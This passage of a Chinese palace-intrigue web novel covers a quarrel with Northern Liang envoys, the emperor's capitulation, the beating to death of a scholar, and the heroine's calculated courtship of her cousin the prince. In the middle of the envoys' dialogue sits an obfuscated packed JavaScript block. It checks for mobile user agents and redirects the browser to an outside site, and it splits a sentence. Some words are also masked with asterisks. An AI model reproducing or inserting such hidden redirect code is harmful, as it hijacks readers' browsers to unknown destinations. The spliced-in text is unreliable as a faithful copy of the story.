只是元韫浓想起惠帝就头疼,她可不觉得惠帝真会强硬对待北凉使节。 但是此刻也别无他法了,这事不是她能决定的。 她顶多在这些使节在见到惠帝之前碰到阻碍,能这些人知道,南朝并不是所有人都是软骨头。 “许是如此,店家怎么说呢?”慕水妃点了点头,问一旁战战兢兢的伙计。 被撞到的伙计也“扑通”一声跪地,“小的也真是无心之失啊!况且掌柜的说了,愿意为使者们清洗衣物,再送上一桌酒菜赔罪,往后若愿意来,一律不要酒钱!” “既是如此,得饶人处且饶人。”沈川不想此事真的闹大了,伤害到两国之谊。 他上前拱手,“无非是场误会,无心之失,几位使者何不就此揭过呢?” 北凉大使冷笑,“你算是什么东西?三皇子都没开口,你在这说话了?有你说话的份吗?” 他身后的人又开始你一言我一语地附和:“就是啊,今天这事没完了!除非这个**的小白脸跪下磕头道歉!” “你们若是非得保下这小白脸,就说明你们沆瀣一气,根本不想和我们北凉交好!” “莫非莫大的一个王朝,竟然一个讲理的人都没有吗?” “你别太过分了!”郑女幼心中恼怒。 这些人未免欺人太甚,这里可还是南朝,还是在皇子面前,他们就敢如此行事。 “什么叫过分?我们遭到了冲撞,你们却如此不公,还拒不道歉,莫非是看不起我们北凉之人吗?”北凉使者不屑一顾。 “放肆。”元韫浓冷声喝道。 她微微压低眉眼,看似散漫,眼中寒光潋滟,不怒自威。 北凉大使惊了一下,试探性地问:“你又是谁?三皇子还没开口说话,哪里有你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476449|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话的份?” 他身后的人小声提醒:“大人,刚刚听他们好像说是朝荣郡主。” 大使是知道这号人的,他也大致清楚南朝皇族的人。 那些送上来的密保里,元韫浓出现了很多次,尤其是近期之内。 “京华城内,天子脚下,岂容你们撒野?”元韫浓面色冷淡,“既然是为修两国之好而来,此番行为,无异于是在挑衅。” 她停顿了一下,在北凉大使开口之前,先截住了对方的话:“难道说大人可以替北凉陛下做主,因着这些鸡毛蒜皮的小事,要与南朝交恶了?” 北凉大使被截了话,莫名心虚,气势弱了下来,“我们不过是要个道歉,你们的派头也太大了?” 慕湖舟冷声说道:“北凉使者进京,应是贵客,可若是南朝子民受了委屈,本宫作为皇子,也定是要主持公道的。” “你们要求庄铭下跪,属实不合理。”元韫浓道,“本他就是无心之失,又是你们的人先撞到了他,才生此事。” 见自己开始不占理了,北凉使节们便开始胡搅蛮缠。 北凉大使高声叫道:“那又如何?难不成我等北凉使者,还比不上一介书生金贵了?这就是你们的待客之道!” 他一指庄铭,“今日这人必须下跪,磕头道歉!不然我们北凉之人往后都不会再踏入南朝半步!” 慕湖舟脸色一沉,“你这是在威胁本宫了?” 双方剑拔**张,互不相让。 气氛凝固,庄铭咬了咬牙,心下悲凉。 他自知人微言轻,身份低微,也不想再生事端。 他暗自握紧拳头,想要将此事揭过,依北凉使者们所要求的去做就算了。 “小生……”庄铭张嘴。 “北凉人如今这做派,真是叫**开眼界。”元韫浓却嗤笑出声,“既是如此,那便求陛下公断吧。” 本来正合北凉使者们的心意,可这事还没有真正掰扯起来,眼下瞧着,本就是他们咄咄逼人**。 因此元韫浓这么一说,北凉使节们还有些心虚。 如今是他们不占理,惠帝怕是不会让步吧? 他们面面相觑,有些犹豫。 元韫浓无声叹息。 局面都已经是这种程度了,倘若惠帝连着这样都不愿意公断,反而要退让,那她就真没有办法了。 北凉大使咬了咬牙,一拍大腿,“好!那我们便上达你们南朝皇帝,让他来做个公道!” 使节来往,本是彰显两国友好邦交,却陡生变故。 这饭也没吃个痛快,反倒是要去面圣来判断公道了。 到了惠帝跟前,一行人先行行礼。 北凉使节率先发难:“南朝陛下,你可要为我们做主!你们南朝,就是这般对待北凉使节的?我北凉诚心而来,望结与国之欢好,你们却处处刁难!” 张开华本在与惠帝议事,此刻也在旁边。 他一听使者说这话,忙道:“大人莫要动怒,这其中定有误会。” 惠帝本在和一众臣子商议事情,这事情突如其来,他也不知事情经过,便问:“怎么一回事?” 元韫浓环顾那些人,都是五皇子党派的,自己父兄并不在其中。 “能有什么误会?”北凉大使不买账,他将方才的事情又添油加醋说了一番。 三皇子作揖道:“父皇,事实并非如此。” 他再将事实一一道来。 两边各执一词。 众人并不在场,也不知事情到底是如何发展。 “三皇子这意思,是我在说话了?”北凉大使满面怒容,“南朝陛下,就算你们并没有交好之心,也不必如此侮辱我们吧?” 张开华假模假样道:“三皇子,你怎么能那么说呢?” 慕湖舟冰冷地扫了一眼张开华,“若是实话实话也不可,那张大人希望本宫如何说?” 惠帝闭着眼睛,沉吟不语。 “陛下,此事确实非我南朝子民之过,朝荣也在当场,目睹全程,可以以此佐证。”元韫浓欠身。 她已经有些不好的预感了,惠帝瞧着,可不像是愿意追究的样子。 第26章 退让 “还有谁瞧见了?”惠帝问。 慕水妃、沈川、裴令仪和郑女幼纷纷站出来。 惠帝又转向庄铭,“这么说,是因你而生的事端了?” 庄铭冷汗从额角滴落,连忙跪伏在地上,“小生万死难咎。” 糊涂。 这时候说什么万死难咎?元韫浓闭了闭眼,知道这人已经救不回来了,必然会是惠帝的牺牲品。 不过庄铭毕竟一介书生白丁,寒窗苦读,科考在望之际却偏偏遇上了这种事情。 就连世家子弟也多的是酒囊饭袋,平时仰仗父荫,横行市井。 朝见天颜便两股战战,莫说下笔成文,话都说不利索了。 庄铭这样,已经算好的了。 元韫浓还是想再试试,“庄铭并非有意,而是北凉使团中有人撞他,他才会撞到醉仙楼伙计。如此人**,人再**,才污了使者的衣裳。” 郑女幼小声嘀咕:“左右不过是件衣服,至于如此大张旗鼓吗?跟买不起似的。” 这话落入在旁的使者耳中,勃然大怒:“你这是什么意思?你个小丫头片子,知道自己在说什么吗!” 郑女幼原本还只是随口抱怨两句,这下就被激起了火气。 她本就性子强势,在家中没少为父母偏心弟弟一事多做口舌争辩,知道有些事情忍不下去只能靠自己争。 这群北凉人不但扰了她佳节与挚友共餐,观花灯赏月的雅致,还口出狂言。 在醉仙楼她就憋着一肚子气,这下更是恼得没边。 反正今日她也是看不了花灯,赏不了月亮了。 郑女幼冷笑:“我怎么不知道?使者若是真缺这两件衣服,缺这钱,我能送你十七八件!至于如此咄咄逼人,还大言不惭让人下跪磕头吗?” 她转向惠帝一拜,“陛下,醉仙楼掌柜已愿清洗衣物,赔偿酒菜,还承诺日后使团去不收酒钱。若北凉使团仍觉不够,臣女愿意再替这书生赔偿使团一车衣物,好叫使者们在冬日里好有衣物避寒。” 她这番话说的,倒是显得北凉是个苦寒之地,使团是来打秋风了的。 “你!”北凉使节气得半死。 “放肆!怎能对使者不敬?”惠帝却拍了拍扶木。 郑女幼只得道:“臣女知错。” 她不情不愿地向北凉使团行礼,“失礼了。” “南朝陛下,今日要是不给个说法,就是对我北凉的侮辱!这书生必须死!否则我北凉不会善罢甘休的!”北凉大使高声说道。 此言一出,一片哗然,几个臣子开始目露惊讶,交头接耳。 庄铭面色煞白。 沈川怒道:“荒唐!就一件衣裳,怎么就要取人家项上人头了?” 慕湖舟眉头紧锁,“方才还是磕头认错,现在就是取人性命,使者们存的什么心思?” 在场的几个臣子虽然说是慕载物阵营的,但到底也是南朝官员。 不过就是这么个小冲突,却动辄要人性命,要是不允还上升到两国之谊来威胁,这也太过了。 这要是答应了,传出去也没面子啊。 那他们南朝的脸面往哪里放,尊严何在? 于是他们连声劝道:“此事太过了,还望陛下三思啊!” “北凉使团步步紧逼,动辄要取我南朝子民项上人头,还是为了一件衣裳,这也太不将我南朝放在眼里了。” “陛下,此事若是随了他们心意,怕是日后他们又要狮子大开口了。” “还是我南朝尊严更重要啊,陛下!” 北凉使节可不管这些,他如今也算是图穷匕见了,干脆破罐子破摔,“此书生不死,便是将我北凉脸面放在地上践踏!” 沈川站出来,身姿挺拔,“大人在我南朝朝堂之上口出狂言,两国邦交,以和为贵,动辄以武力相胁,哪里像是诚心交好?” 北凉大使斜睨了沈川一眼,“你这毛头小子懂什么了?我们是诚心诚意而来,却遭遇你们如此对待。” “都住口!”惠帝喝止。 他严词厉色,“北漠使节远道而来,是为了增进两国情谊,不是来寻衅滋事的。” “陛下,庄铭是我南朝子民,若是为了一件衣裳让他人头落地,怕是让臣民寒心。”元韫浓说道。 张开华用余光扫了庄铭一眼,“臣记得,这书生是岐国公门生啊。” “父亲为官多年,门生何其之多,这无名书生,不过其一。”元韫浓回道。 她暗自叹气,倘若惠帝真推庄铭去做替罪羔羊,她也只能弃车保帅了。 她瞥向张开华,“张大人若是真要那么论,上月午门抄斩的那个贪官,还是张大人门生。” “荒谬!我连他名字都不记得!”张开华道。 元韫浓笑而不语,隐含嘲讽。 张开华冷哼一声,目光怨毒。 “朝荣是为南朝子民而言,陛下。”元韫浓说。 “够了。”惠帝抬手制止元韫浓接下去的话。 惠帝看向北凉使臣,“贵使,我南朝向来以礼待人,若真有疏漏,定会弥补。” 北凉使团一听惠帝这话,无一不是得意之色。 “至于这扰乱两国之谊的贼子,朕会严加处置。”惠帝道。 北凉使臣哈哈大笑:“南朝陛下果然明断是非,令我等五体投地,待回到北凉,定会向我朝陛下一一道来,以修两国之好。” 惠帝抬手,“来人,将庄铭拖下去,杖责八十。” 杖责八十? 庄铭这种文弱书生怎么受得住? 而且照惠帝这个态度,底下人看菜下碟,八十杖下去,庄铭怕是都成两节了。 “陛下!八十杖责下去,庄铭必死无疑啊,还请陛下怜我南朝子民!”沈川跪地叩首。 惠帝倒是想把这烦人的沈川一并杖责了,可惜不行。 这小子**都没他一句爱听的。 这时候他可不想跟北凉起冲突打起来,这安生日子才过几天,万一真打输了怎么办? 他这皇帝还没当够,可不想那么早就当**之君。 “还请父皇三思!”慕湖舟也跪下恳求。 惠帝置之不理,“还不快把人拖下去?” 侍卫们立即上前,按住庄铭往下拖去。 “陛下!陛下!冤枉啊!”庄铭连忙喊道。 慕湖舟仍长跪不起,“陛下三思!” 惠帝视若无睹。 在场除了北凉使团,无一人脸上有喜色。 谁都知道这回向北凉使节让了步,往后在北凉面前,南朝就很难再强硬起来了。 曾经是南强北弱,如今,怕是要倒转过来了。 “好了,此事已了,北凉使团之事交由礼部尚书安排。朕也乏了,都退下吧。”惠帝摆了摆手。 他全然不顾在场之人,也不管跪在地上的慕湖舟,拂袖离去。 元韫浓冰冷地望着惠帝的背影,眸光幽暗。 南朝迟早得玩完在惠帝手里。 北凉使臣抚掌大笑:“我瞧你们南朝,也不过如此。” 他大摇大摆地带着人从殿中离开。 慕水妃扶慕湖舟起来,“三皇兄,快些起来吧,此事并非你错,是父皇……” “我明白。”慕湖舟叹息,他只是愧于自己的无能为力。 他拍了拍沈川的肩膀,“别太自责了,子谦,这并非你我能做决定的。” 沈川闭了闭眼。 郑女幼瞟了一眼北凉使团的背影,“真是得意忘形。” “我会派人去接庄铭治疗……倘若八十杖后他还活着。”元韫浓说。 这中秋佳节,半点不团圆,半点不美满。 连月亮,都好像染了血渍。 沈川看了看天色,月亮不知何时被乌云遮蔽,“天色已晚,韫浓,我送你和令仪回府吧。” “沈大哥不是在准备科考吗?今日的书温**了没有?还是表哥送我吧。”元韫浓却看向慕湖舟。 慕湖舟僵了僵,最后叹息,“也好。” 沈川并未多想,“也好,今日功课确实也没做。” “阿姊。”裴令仪方才一直没开口,这会才说话,“你先回去吧,我晚些回来。” 接收到元韫浓询问的眼神,裴令仪道:“我落下了东西在醉仙楼。” “好吧,早些回来。”元韫浓说道。 她跟慕湖舟往外走,暗自在心中想。 等到那群北凉人离了南朝境内,她就派人把他们全都套了 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无视北凉使团的恼怒,元韫浓对慕湖舟道:“表哥,我们走吧。” 北凉使节们面对他们的背影啐了一口,走出宫殿,却仍然压抑不住心底的窃喜。 “这下我们可算是完满地完成了任务,陛下必定会好好奖赏我们。”他们嘿嘿笑道。 为首的使臣沉吟片刻,“回去之后,得让陛下下令,让在南朝的眼线多盯着点那个朝荣郡主。” “一介女流,不足为惧。就是她说话那调调,着实令人讨厌,跟这些南人是一样的典型腔调。”底下人却迷惑不解。 有人问:“什么腔调?” “看不起我们的腔调。”这人回答,“用有底气有文化的姿态,看不起我们这种野蛮人的傲慢腔调。” 立刻有人附和:“真是这样,还有她那笑声,假模假样的,眼睛都是不带笑的。” 使臣思考了一下,却道:“她说话慢慢的,很礼貌却从来不恭敬,我看她对南朝那皇帝也没什么敬意。” “所以她是谁也看不上,不是针对我们。”他们得出了结论。 使臣咳了一声:“总之先盯着吧,这女人看着也不简单。方才酒楼里她站在最后面,可那群人却仿佛为她马首是瞻似的。” 有了碰上北凉使团这一小插曲,接下来一路上,元韫浓和慕湖舟都相顾无言。 慕湖舟为了不跟她有说话的机会,甚至在外面骑马。 “表哥?”元韫浓朝外头喊了一声。 没人回应。 元韫浓眉心一跳,掀开车帘,探出头,“表哥。” 慕湖舟稍稍侧过脸,但没正脸看元韫浓,淡声提醒:“表妹坐好,小心掉下车来。” 元韫浓在心底冷哼一声。 装,再装。 虽然不知道慕湖舟是什么起因,但估计又是为了那些压根没有那么必要的事情,伤到了他那过强的道德。 她往下看,估测了一下马车的速度,还有与地面的距离,设想了一下自己的动作。 还好裴令仪不在,能让她用上这招。 不然裴令仪准发疯。 她几乎都能想象到裴令仪看到后会是什么表情,说什么话。 说起来,虽然说今世她跟裴令仪理应是亲情,但裴令仪也是不是太紧张她了些? 算了,倒也合理。 毕竟裴令仪如今举目无亲,只把她当亲人,也实在可怜,正常。 元韫浓目测片刻,挑选时机。 慕湖舟见许久过去,元韫浓都没有后续,还有些疑惑。 正想元韫浓久不回话,是不是生气了?又是不是伤心了?就瞥到一抹生嫩的鹅黄探了出来。 慕湖舟看过来,瞳孔骤缩。 他猛地勒住缰绳,飞身伸出双臂,将跳车的元韫浓揽入怀中。 落地时他卸了力,一个侧翻,将元韫浓护在怀中,肩膀撞上了一旁的石壁。 “殿下!”侍卫们皆惊,冲过来生怕自家金尊玉贵的主子受了什么伤。 慕湖舟抬手制止他们靠近,他们只得退回去。 第27章 谋算 慕湖舟掰过元韫浓的肩膀,焦急道:“胡闹!” “简直是胡闹!你知道刚才有多危险吗?我看你真是糊涂了,才喝了多少酒,就敢置自己的安危于不顾?非得摔个头破血流,你就高兴了吗?”他越说越气,越说越急。 “千金之子,坐不垂堂的道理你不明白?你倒好,敢跳车了!”慕湖舟气急。 他说了那么多,元韫浓却始终不吭声。 他垂首一看,元韫浓紧抿唇瓣,眼底噙着泪光,像是在压抑委屈。 湿漉漉的眼尾上勾着,缱绻勾人的胭脂绯色弥漫开,梨花带雨。 沉默良久,四下寂静。 街角悄无声息地催生了青苔,慕湖舟的心也像是长出了厚的苔藓。 他长叹了一口气,伸手揩去元韫浓眼角的泪水,“别哭了。” 元韫浓别过脸,眼泪无声顺着脸庞滑落。 她的睫毛被泪水打湿成一绺一绺的,着实可怜。 “是我错了,不要哭了。”慕湖舟软了声调。 元韫浓拍开他的手,“你不是都不管我了吗?不是都不理我了吗?还管什么我的死活?” “真是任性啊,浓浓。”慕湖舟苦涩地笑了笑,垂着眼睛的弧度,却像是无奈。 慕湖舟之前叫她应怜的,这会改了称呼。 这也意味着,慕湖舟心中彻底扭转了她的定位。 元韫浓抬了一下眼皮,压下唇角微末的笑意。 眼泪这种东西,她能说来就来,还知道怎么样看起来楚楚可怜,怎么样惹人心疼。 从小在爹娘面前真哭假哭,装乖卖俏,这还不容易? “为什么不理我?如果你不想管我了,讨厌我了,打算娶**做皇子妃,你该跟我说一声才对。”元韫浓泪眼朦胧地望着慕湖舟。 慕湖舟目光复杂,看着元韫浓,“你知道你自己在说什么吗?” “我很清楚自己在说什么,又在想什么。”元韫浓说着,又有些哽咽,“但你不能这样……” “你不能这样,什么都不说,就突然不理我了……你不能这样什么都不告诉我,就不见我了,就要放弃我了……”晶莹的泪水如断了线的珍珠,簌簌而下。 眼泪划过白皙的面庞,犹如琼花花瓣上的晨露般,元韫浓落寞地低眸。 “至少,你至少该告诉我一声……”她轻声说道。 “抱歉。”慕湖舟心脏闷闷地抽痛了一下,微微蹙眉,抬手一点点抹去元韫浓的泪水。 他又重复:“我很抱歉,浓浓。” “你至少要告诉我,为什么要放弃我?是不是因为,皇后娘娘不喜欢我?”元韫浓紧咬住下唇,唇瓣微微泛白。 明明慕湖舟没有向她承诺过什么,他们之间本就也没有说过什么,更不是什么男女之间的关系。 但是元韫浓这模样,仿佛是他们已经私定了终身,海誓山盟。 而慕湖舟就是那个负心汉,薄情郎。 元韫浓从来擅长让自己处于有利位置,颠倒黑白。 “是我自己。”慕湖舟将元韫浓鬓边的碎发别到耳后,“我无法用这种身份面对你。” “什么?”元韫浓状似懵懂地抬眸。 慕湖舟如实道来:“父皇和姑母的生母,是被皇祖母所杀,杀母夺子。” “什么!”元韫浓惊愕地睁大了双眼,后退一步。 “浓浓……”慕湖舟见元韫浓低声抽噎,似乎是想要说些什么,却又被哭声哽住,难免心疼。 元韫浓却扑入他怀里,将脸埋在他胸口低泣,只是偶尔溢出几声压抑的呜咽,反而更令人揪心。 元韫浓的眼泪滴落在慕湖舟的衣衫上,洇出一小片深色的痕迹。 慕湖舟僵硬地伸出手,拍抚元韫浓的颈背,“别哭,浓浓,不要哭了。” “可她也是我的皇祖母,这不是你的错,明明你什么也没做错。”元韫浓低声哭泣。 她抬起脸,红着眼眶问:“我只问你,你愿不愿意?” 慕湖舟低声叹息:“浓浓,你明年及笄,你还小,或许不懂,可我该懂。” “这或许只是你的一时兴起,你往后或许还会遇见更好的人。” “我不能因为你不懂,所以就让你做下可能会后悔终生的决定。” “如果有朝一日你意识到,你或许并不喜欢我,只是对表哥的依赖呢?皇子妃这个身份不是那么好摆脱的。” “你不能因为喜欢我,所以把余生都交予这个走不出去的深宫。” “你会有更好的选择的。” 元韫浓沉默了片刻,她这个表哥,可真是个绝佳的好人。 至少她完全不需要有那么多考虑,她想要当皇后。 如果裴令仪做不成皇帝,她想要当皇后。 倘若裴令仪是皇帝,她也要混个有从龙之功的公主。 总而言之,两边她都要占好。 于是,元韫浓只是固执地环着慕湖舟的腰。 她执拗地追问:“我只问你,问你愿不愿意?” 两人对视,无声的僵持。 良久,慕湖舟叹息:“你可当真想好了吗?” “想好了。”元韫浓坚定道。 “好。”慕湖舟喟叹般,摸了摸元韫浓滚烫的眼尾,“我愿意为你争一争。” “只要你当了皇帝,一切都会好的。”元韫浓轻声道,“我只要太后娘娘和皇后娘娘道歉就够了。” 才怪呢。 等她上位当了皇后,第一件事情就是毒死太后和皇后。 元韫浓唇边笑意不减。 慕湖舟将元韫浓送到府门前,扶元韫浓下车。 “浓浓,回去吧。”慕湖舟抚摸元韫夜风里浓冰凉的脸颊。 元韫浓点了一下头,低着头,仿佛有些难以启齿般,“你会跟皇后娘娘说好的吧?” “我会解决母后那里的障碍,这是我的问题,所以你不用担心。”慕湖舟安抚道。 他又道:“晚间天冷,快回去吧。” 元韫浓颔首,在慕湖舟的目送下转身走入国公府府门。 门刚合上,元韫浓抬眸。 前庭寂寥,少年于庭院中独立,一袭葡萄褐的素面缂丝曳撒,似乎是已经在原地静候了很久,肩上积了夜露。 他生得一副艳丽面容,双眸狭长,眼眸仿若被雨雾笼罩的深潭,幽深不见底。 “阿姊。”他道。 元韫浓莫名有了种难言的心虚,似乎是被逮了个正着。 但仔细想想,她又没什么可心虚。 她现在可没跟裴令仪占了什么夫妻名分。 于是她道:“你怎么回来得那么快?” “若是再慢点,我怕菜会冷了。”裴令仪垂下眼帘,似乎是有些委屈。 他伸出手,递出了手里的食盒。 元韫浓打开看了一下,上下两层。 上边是生进鸭花汤饼,细长的面条根根分明,浇上用鸭肉、鸭骨精心熬制的浓郁汤汁,在青花瓷碗中堆叠,汤色乳白如奶。 下边则是在醉仙楼时,他们都遗憾吃不上的鲜鲫芹菜羹。 两道菜都还温热着,可见裴令仪快马去买来,又回来得匆匆。 元韫浓更心虚了,“你说在醉仙楼落下了东西,实际上是去近水楼台买吃食了?” “阿姊方才在桌上没吃多少,又被那群不长眼睛的扰了兴致,我怕阿姊晚了会饿。想到阿姊想吃,便去近水楼台买了。”裴令仪依然低着眼睛。 状似无辜落寞,实则眼底一片冷然如冰。 慕湖舟,那个勾引阿姊的贱狗。 元韫浓轻咳一声:“有心了。” 裴令仪说:“庄铭**。” 一阵沉默。 尽管早有预料,惠帝那架势就没打算留活口,但元韫浓依然觉得郁闷。 “杖责八十,他一个文弱书生,断成了两截。”裴令仪神色平淡。 元韫浓叹息:“好好安葬吧,给他家里人一些补偿。” “他有个弟弟,叫庄且,来年科考。”裴令仪道。 “我会让父兄多加提携。”元韫浓点头,“庄铭在此事着实无辜,只是北凉试探南朝的矛头和牺牲品。” 裴令仪一针见血:“北凉有心利用,但罪魁祸首却是惠帝。” 元韫浓抬眼看他,“你呢?你在殿上一句话都没有说,好像并不在乎此事。” “我是不在乎。”裴令仪坦荡承认。 他直勾勾地注视着元韫浓,“在那个殿上,我唯一在乎的只有阿姊。” 晚风拂过,拨云见月。< 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年前宫中有赏,流水般的赏赐涌入国公府。 惠贞长公主在年前,带着元韫浓进宫先意思过。 元韫浓照例得先去太后和皇后眼前逛。 太后压根没见她,差了个管事嬷嬷来回她,说太后正在礼佛,没空见她。 就差没明说,说太后看见她烦,不想见了。 皇后还是见了元韫浓的,只是身边又带了个白翩飞。 元韫浓都觉得,白翩飞嫁给皇后也挺好,毕竟她俩亲昵程度远超于慕湖舟这个亲儿子。 这回慕湖舟跟元韫浓一块去的,皇后更是恨不得撬开这逆子的脑袋瞧瞧究竟在想什么。 前几日还在那里伤春悲秋,一副惆怅的深宫怨夫模样,这几日又开始一副我同她是海誓山盟,矢志不渝的真爱状态。 她瞧着慕湖舟似乎是目前也没有打算请旨求娶三皇子妃的意思,却偏偏相当纵容元韫浓这死丫头。 她都怀疑自己当初是不是不该为了让慕湖舟树立一心朝政,不近女色的正面形象。 就是为了这个形象,好方便夺储,她才从不设什么通房侍妾了。 可不像慕载物,年纪轻轻早已侍妾一大群。 早知如此,她早该把自己这逆子的后院全塞满,也好过现在元韫浓作威作福。 皇后才说了元韫浓两句,甚至只是指桑骂槐。 元韫浓低着头,双手交叠在身前,手指下意识地揪着衣角,仿佛这样便能抓住些什么,来慰藉自己。 她姿态落寞。 白翩飞本来还想要帮腔皇后几句,可笑容却又僵在了脸上。 慕湖舟上前一步,不动声色地挡在元韫浓身前,“母后近日对宫中年宴一事多有操劳,儿臣与表妹便不再多加叨扰。” 皇后这口气又哽到了喉咙,一阵胸闷气促。 慕湖舟对元韫浓处处极尽维护,最后还亲自送其出宫。 送到宫门口,元韫浓就要去找惠贞长公主了,笑着跟慕湖舟说留步。 告别之后,她迎着夕阳踏上路。 慕湖舟在元韫浓转身后,又叫住她:“浓浓。” 她转过头。 夕阳无限好。 慕湖舟依然对她怀揣包容和耐心,他伸出手摸了摸元韫浓的鬓角。 他或许本就只是保护和另眼相待,偏偏那一段时间的疏远和元韫浓的眼泪都让他意识到,或许于他而言,最好是元韫浓,也只能接受元韫浓。 元韫浓自然也知道慕湖舟仍在犹豫,毕竟是她逼迫加引导,让慕湖舟往男女之情上想。 这世间的感情,本就没有那么纯粹,元韫浓是刻意提炼出了爱情。 可她自信再过不久,慕湖舟自会明白。 反正前世,慕湖舟的选妃宴是同慕载物一起的,元韫浓也不急。 她相信以惠帝那德性,一手纵横谋划,是不会让慕湖舟单独先娶正妃的。 元韫浓故作对此浑然不浑,“怎么了?” 慕湖舟轻声祝福:“年关将至,万望珍重。” 元韫浓笑:“同喜同愿。” 第29章 十五及笄 岁寒既逝,暖律初回,桃符新换,春信已来。 正如元韫浓所说的那样,春日的事情就多了起来。 裴令仪陪元韫浓逛市集时买了水晶兰的花种,本想要养好了送给元韫浓斗花草的,只是连芽都没发。 元韫浓嘲笑他说这花深山老林里才会长,长还长在没有阳光的枯枝败叶之中,在京城是开不了花的。 她没好告诉裴令仪,这花真开了,也只会被京城的人当成会毙命的邪异之物。 不过她倒是觉得水晶兰跟裴令仪挺配的,看似洁白无瑕、晶莹剔透,还象征着纯洁真诚、脆弱没有城府。 实际上是生长在腐烂的尸骨上的死亡之花。 裴令仪因为这件事情消沉了一阵子,要紧的是元韫浓送他的花草也败了。 他放在屋子里烧了炭火怕冻坏了,结果还是枯**。 底下人还有闲言碎语,说是裴令仪命格不好,八字太硬,身上的煞气把花都枯**。 元韫浓倒是觉得裴令仪单纯碰上了这种事而已,那些花草本就名贵又娇气,于是叫小满又搬了几盆给裴令仪。 裴令仪想元韫浓的及笄礼物,就已经想了很久。 元韫浓的及笄礼办得很热闹,宾客们净是些有头有面的人物。 日光暖煦,微风轻拂。 春光之下,整座国公府府邸都熠熠生辉,亭廊蜿蜒曲折。 亭台楼阁错落有致的亭台楼阁,仆役们穿梭过烂漫春花,双手托着摆满精致茶点的漆盘,稳步朝着待客的厅堂走去。 里里外外,来来往往,无一不是有条不紊。 廊下的雕花栏杆旁,花繁叶茂,流水潺潺,动静相宜。 晨起还想赖会床呢,还没来得及翻个身,元韫浓便被一众丫鬟簇拥着洁面洗漱,推到妆台前。 霜降从雕花檀木盒中取出梳具,手法娴熟地梳理着元韫浓如墨如瀑的长发。 元韫浓半阖着眼睛,还是很困。 春乏,夏困,秋盹,冬眠,一年四季,没有一日不困的。 “郡主要是到时候在那么多宾客前打起了瞌睡,那可不得了了。”小满没忍住笑出了声。 “别胡说。”霜降瞪了小满一眼,“及笄礼这么大的事,是能这般玩笑的吗?” 小满撇了撇嘴,“好了好了,我知道了。” 霜降细致入微地为元韫浓梳发,口中还念念有词:“出嫁时新嫁娘要十梳送嫁,及笄也是大时候。今日郡主及笄,国公和长公主都是花了心思,下了功夫的。” 元韫浓懒洋洋地用手撑着脸颊,“也是呢,收礼也得收到手软了。” 前世她就收了不少好东西,今生怕是得更多了。 她还刻意给不少往来的大家商户下了帖子,这时候雁过拔**,兽走留皮,能拿多少拿多少。 小满点头,“郡主连张家、吕家、齐家、白家这四家也下了帖子,也是为了收礼吗?” “也有,一来恶心恶心他们,二来像齐家白家明面上没撕破脸,必然不好意思拒绝,人不来礼会到。就算他们来了,也无非多双筷子。”元韫浓笑了笑,“明面上的礼数,也是少不了的,他们还是要面子的。” 想到那些人气得跳脚,还得忍着恶心叫人挑礼物,元韫浓就觉得好笑。 “郡主这般伶俐,往后定是万事顺遂,福泽深厚。”霜降笑了。 在她眼里,元韫浓是怎么样都好,就算是算计人也好。 元韫浓抬眸望向镜子里的姣美面容,神态慵懒。 她嘴角微微上扬,“那便借你吉言了。” 侍女们为元韫浓换上了一袭曳地的百花裙。 用丝绸锦缎与纱罗制成的华美裙装质地轻盈柔软,光泽亮丽,裙身绣有各种繁复的花卉图案,刺绣、织锦、缂丝,十八般武艺通通用在这裙摆上,图案栩栩如生。 “这百花裙瞧着价值连城啊,叫父亲母亲破财了。”元韫浓也难免感慨。 霜降笑道:“这百花裙在去年春日里便叫人赶制了,裙子上不多不少,不偏不倚,足足百花,是名副其实的百花裙。” 霜降半跪着为元韫浓整理裙摆,“一会再戴上长公主送来的花冠,配着这百花裙才叫漂亮。” 她一说起来就滔滔不绝:“牡丹是雍容华贵,莲花是纯洁高雅,梅花是坚韧高级,菊花是长寿吉祥……” “行了行了。”小满推她,“就算国公和长公主再为郡主制上千百条百花裙,也破不了财。” 霜降又瞪了小满一眼,“你少说话。” 小满不理她,笑嘻嘻地对元韫浓说:“世子说了,等郡主到了二十年华,就再为郡主做条百鸟裙。” 元韫浓心情不错,便也玩笑了一句:“阿兄怎么不年年生辰都送我条裙子呢?什么百鸟百兽百花百草,都该来上一条才对。” 屋子里都笑出了声。 “应怜想要吗?若是想要,阿兄年年都送。”元彻回从外头迈步进来。 元韫浓坐到梳妆镜前,“阿兄还是折现给我吧,衣裙够多了。” “喜欢金银也行。”元彻回看霜降和小满给元韫浓戴上花冠,称叹,“这花冠也是百花冠,上边也有百花,勉强配我妹妹。” “这上边也是百花?”元韫浓顿了顿。 那花冠刚戴上,那沉甸甸的分量就令元韫浓一阵牙酸。 “好漂亮。”小满称叹。 元韫浓瞟了一眼镜子,确实很漂亮。 好吧,为了美丽。元韫浓抬高脖颈。 岐国公府邀请的客人很多,干脆便把从正厅延伸至湖心亭,乃至整个园林都作为了宴席处。 凉亭水阁,吟诗度曲。 湖心亭三面临水,挂了纱幔。 花团锦簇,蝶舞翩跹。岐国公府宴客,当是极尽风雅。 元韫浓走到花树之下,花裙花冠,花容月貌。 “天呐……”最先瞟见元韫浓的贵女失神,“好漂亮,像是话本里的花之神女。” 她身边的嫡母顺着她视线看过来,“傻丫头说什么呢?” 花冠丝绢敷竹篾,缀以金银珍珠,制成花叶,一派花繁叶茂,与裙身花卉相映成趣。 元韫浓闻声望过来,微微一笑。 四下议论声渐起。 “朝荣郡主头上那顶花冠,价值千金。” “你以为她那条百花裙便宜啊?这花冠加衣裙,是把一座城穿身上了。” “哈哈哈!是把整个北凉穿身上了吧?” “就你嘴皮子利索,小心被有心之人听了去,不过这么繁重的衣裳首饰,郡主倒也真撑得起来。” “京中评百花比龙凤,自她金钗起,丽姝里头年年都有她。” “太贵了,这才及笄礼,出嫁时她得花多少钱啊?” “怎么就非得出嫁时花得多?万一是及笄礼花得多呢?” “得了吧,就岐国公和惠贞长公主这架势,多贵也是舍得的。” 